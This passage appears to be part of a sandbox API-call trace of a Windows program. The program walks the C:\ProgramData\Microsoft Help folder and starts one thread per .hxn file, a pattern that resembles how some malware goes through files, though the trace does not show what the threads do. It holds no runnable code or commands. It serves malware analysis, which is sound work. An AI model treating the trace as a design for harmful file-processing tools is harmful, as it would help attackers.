_Dest=0x1b7c1e90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.841] wcscat (in: _Dest=0x1b7c1e90, _Source="MS.GRAPH.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" [0085.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec [0085.842] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfd789af0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd789af0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd822070, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GROOVE.14.1033.hxn", cAlternateFileName="MSGROO~1.HXN")) returned 1 [0085.842] wcscmp (_String1="MS.GROOVE.14.1033.hxn", _String2=".") returned 1 [0085.842] wcscmp (_String1="MS.GROOVE.14.1033.hxn", _String2="..") returned 1 [0085.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c1f00 [0085.842] wcscpy (in: _Dest=0x1b7c1f00, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.842] wcscat (in: _Dest=0x1b7c1f00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.842] wcscat (in: _Dest=0x1b7c1f00, _Source="MS.GROOVE.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn" [0085.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0085.843] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11446a50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.INFOPATH.14.1033.hxn", cAlternateFileName="MSINFO~1.HXN")) returned 1 [0085.843] wcscmp (_String1="MS.INFOPATH.14.1033.hxn", _String2=".") returned 1 [0085.843] wcscmp (_String1="MS.INFOPATH.14.1033.hxn", _String2="..") returned 1 [0085.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79dbf0 [0085.843] wcscpy (in: _Dest=0x1b79dbf0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.843] wcscat (in: _Dest=0x1b79dbf0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.843] wcscat (in: _Dest=0x1b79dbf0, _Source="MS.INFOPATH.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" [0085.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79dbf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4 [0085.844] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1146cbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.INFOPATHEDITOR.14.1033.hxn", cAlternateFileName="MSINFO~2.HXN")) returned 1 [0085.844] wcscmp (_String1="MS.INFOPATHEDITOR.14.1033.hxn", _String2=".") returned 1 [0085.844] wcscmp (_String1="MS.INFOPATHEDITOR.14.1033.hxn", _String2="..") returned 1 [0085.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79dc70 [0085.844] wcscpy (in: _Dest=0x1b79dc70, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.844] wcscat (in: _Dest=0x1b79dc70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.844] wcscat (in: _Dest=0x1b79dc70, _Source="MS.INFOPATHEDITOR.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" [0085.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79dc70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8 [0085.845] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.14.1033.hxn", cAlternateFileName="MSMSAC~1.HXN")) returned 1 [0085.845] wcscmp (_String1="MS.MSACCESS.14.1033.hxn", _String2=".") returned 1 [0085.845] wcscmp (_String1="MS.MSACCESS.14.1033.hxn", _String2="..") returned 1 [0085.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79dcf0 [0085.845] wcscpy (in: _Dest=0x1b79dcf0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.845] wcscat (in: _Dest=0x1b79dcf0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.845] wcscat (in: _Dest=0x1b79dcf0, _Source="MS.MSACCESS.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" [0085.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79dcf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc [0085.846] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.DEV.14.1033.hxn", cAlternateFileName="MSMSAC~2.HXN")) returned 1 [0085.846] wcscmp (_String1="MS.MSACCESS.DEV.14.1033.hxn", _String2=".") returned 1 [0085.846] wcscmp (_String1="MS.MSACCESS.DEV.14.1033.hxn", _String2="..") returned 1 [0085.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79dd70 [0085.846] wcscpy (in: _Dest=0x1b79dd70, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.846] wcscat (in: _Dest=0x1b79dd70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.846] wcscat (in: _Dest=0x1b79dd70, _Source="MS.MSACCESS.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" [0085.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79dd70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0 [0085.847] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSOUC.14.1033.hxn", cAlternateFileName="MSMSOU~1.HXN")) returned 1 [0085.847] wcscmp (_String1="MS.MSOUC.14.1033.hxn", _String2=".") returned 1 [0085.847] wcscmp (_String1="MS.MSOUC.14.1033.hxn", _String2="..") returned 1 [0085.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c1f70 [0085.847] wcscpy (in: _Dest=0x1b7c1f70, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.847] wcscat (in: _Dest=0x1b7c1f70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.847] wcscat (in: _Dest=0x1b7c1f70, _Source="MS.MSOUC.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn" [0085.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4 [0085.848] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.14.1033.hxn", cAlternateFileName="MSMSPU~1.HXN")) returned 1 [0085.848] wcscmp (_String1="MS.MSPUB.14.1033.hxn", _String2=".") returned 1 [0085.848] wcscmp (_String1="MS.MSPUB.14.1033.hxn", _String2="..") returned 1 [0085.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c1fe0 [0085.848] wcscpy (in: _Dest=0x1b7c1fe0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.848] wcscat (in: _Dest=0x1b7c1fe0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.848] wcscat (in: _Dest=0x1b7c1fe0, _Source="MS.MSPUB.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" [0085.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0085.849] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.DEV.14.1033.hxn", cAlternateFileName="MSMSPU~2.HXN")) returned 1 [0085.849] wcscmp (_String1="MS.MSPUB.DEV.14.1033.hxn", _String2=".") returned 1 [0085.849] wcscmp (_String1="MS.MSPUB.DEV.14.1033.hxn", _String2="..") returned 1 [0085.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79ddf0 [0085.849] wcscpy (in: _Dest=0x1b79ddf0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.849] wcscat (in: _Dest=0x1b79ddf0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.849] wcscat (in: _Dest=0x1b79ddf0, _Source="MS.MSPUB.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" [0085.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79ddf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0085.849] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSTORE.14.1033.hxn", cAlternateFileName="MSMSTO~1.HXN")) returned 1 [0085.849] wcscmp (_String1="MS.MSTORE.14.1033.hxn", _String2=".") returned 1 [0085.850] wcscmp (_String1="MS.MSTORE.14.1033.hxn", _String2="..") returned 1 [0085.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c2050 [0085.850] wcscpy (in: _Dest=0x1b7c2050, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.850] wcscat (in: _Dest=0x1b7c2050, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.850] wcscat (in: _Dest=0x1b7c2050, _Source="MS.MSTORE.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" [0085.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c2050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0 [0085.850] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OIS.14.1033.hxn", cAlternateFileName="MSOIS1~1.HXN")) returned 1 [0085.850] wcscmp (_String1="MS.OIS.14.1033.hxn", _String2=".") returned 1 [0085.850] wcscmp (_String1="MS.OIS.14.1033.hxn", _String2="..") returned 1 [0085.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c20c0 [0085.850] wcscpy (in: _Dest=0x1b7c20c0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.851] wcscat (in: _Dest=0x1b7c20c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.851] wcscat (in: _Dest=0x1b7c20c0, _Source="MS.OIS.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" [0085.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c20c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0085.851] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xc997810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc997810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e3ad0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.ONENOTE.14.1033.hxn", cAlternateFileName="MSONEN~1.HXN")) returned 1 [0085.851] wcscmp (_String1="MS.ONENOTE.14.1033.hxn", _String2=".") returned 1 [0085.851] wcscmp (_String1="MS.ONENOTE.14.1033.hxn", _String2="..") returned 1 [0085.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79de70 [0085.851] wcscpy (in: _Dest=0x1b79de70, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.851] wcscat (in: _Dest=0x1b79de70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.851] wcscat (in: _Dest=0x1b79de70, _Source="MS.ONENOTE.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" [0085.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79de70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0085.852] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2689510, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.14.1033.hxn", cAlternateFileName="MSOUTL~1.HXN")) returned 1 [0085.852] wcscmp (_String1="MS.OUTLOOK.14.1033.hxn", _String2=".") returned 1 [0085.852] wcscmp (_String1="MS.OUTLOOK.14.1033.hxn", _String2="..") returned 1 [0085.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79def0 [0085.852] wcscpy (in: _Dest=0x1b79def0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.852] wcscat (in: _Dest=0x1b79def0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.853] wcscat (in: _Dest=0x1b79def0, _Source="MS.OUTLOOK.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" [0085.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79def0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0085.853] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26af670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.DEV.14.1033.hxn", cAlternateFileName="MSOUTL~2.HXN")) returned 1 [0085.853] wcscmp (_String1="MS.OUTLOOK.DEV.14.1033.hxn", _String2=".") returned 1 [0085.853] wcscmp (_String1="MS.OUTLOOK.DEV.14.1033.hxn", _String2="..") returned 1 [0085.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79df70 [0085.854] wcscpy (in: _Dest=0x1b79df70, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.854] wcscat (in: _Dest=0x1b79df70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.854] wcscat (in: _Dest=0x1b79df70, _Source="MS.OUTLOOK.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" [0085.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79df70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0085.854] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.14.1033.hxn", cAlternateFileName="MSPOWE~1.HXN")) returned 1 [0085.855] wcscmp (_String1="MS.POWERPNT.14.1033.hxn", _String2=".") returned 1 [0085.855] wcscmp (_String1="MS.POWERPNT.14.1033.hxn", _String2="..") returned 1 [0085.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79dff0 [0085.855] wcscpy (in: _Dest=0x1b79dff0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.855] wcscat (in: _Dest=0x1b79dff0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.855] wcscat (in: _Dest=0x1b79dff0, _Source="MS.POWERPNT.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" [0085.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79dff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0085.856] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.DEV.14.1033.hxn", cAlternateFileName="MSPOWE~2.HXN")) returned 1 [0085.856] wcscmp (_String1="MS.POWERPNT.DEV.14.1033.hxn", _String2=".") returned 1 [0085.856] wcscmp (_String1="MS.POWERPNT.DEV.14.1033.hxn", _String2="..") returned 1 [0085.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79e070 [0085.856] wcscpy (in: _Dest=0x1b79e070, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.856] wcscat (in: _Dest=0x1b79e070, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.856] wcscat (in: _Dest=0x1b79e070, _Source="MS.POWERPNT.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" [0085.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0085.857] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SETLANG.14.1033.hxn", cAlternateFileName="MSSETL~1.HXN")) returned 1 [0085.857] wcscmp (_String1="MS.SETLANG.14.1033.hxn", _String2=".") returned 1 [0085.857] wcscmp (_String1="MS.SETLANG.14.1033.hxn", _String2="..") returned 1 [0085.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79e0f0 